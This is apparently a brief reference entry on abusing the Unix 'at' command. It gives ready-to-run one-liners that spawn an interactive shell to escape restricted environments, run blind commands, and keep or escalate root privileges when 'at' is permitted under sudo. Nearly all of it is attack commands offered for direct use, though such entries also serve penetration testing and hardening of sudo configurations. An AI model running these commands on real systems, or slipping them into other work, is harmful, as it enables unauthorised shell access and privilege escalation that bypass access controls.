Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null

Command

It can be used to break out from restricted environments by running non-interactive system commands.

The invocation will be blind, but it is possible to redirect the output to a file in a readable location.

COMMAND=id
echo "$COMMAND" | at now

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | sudo at now; tail -f /dev/null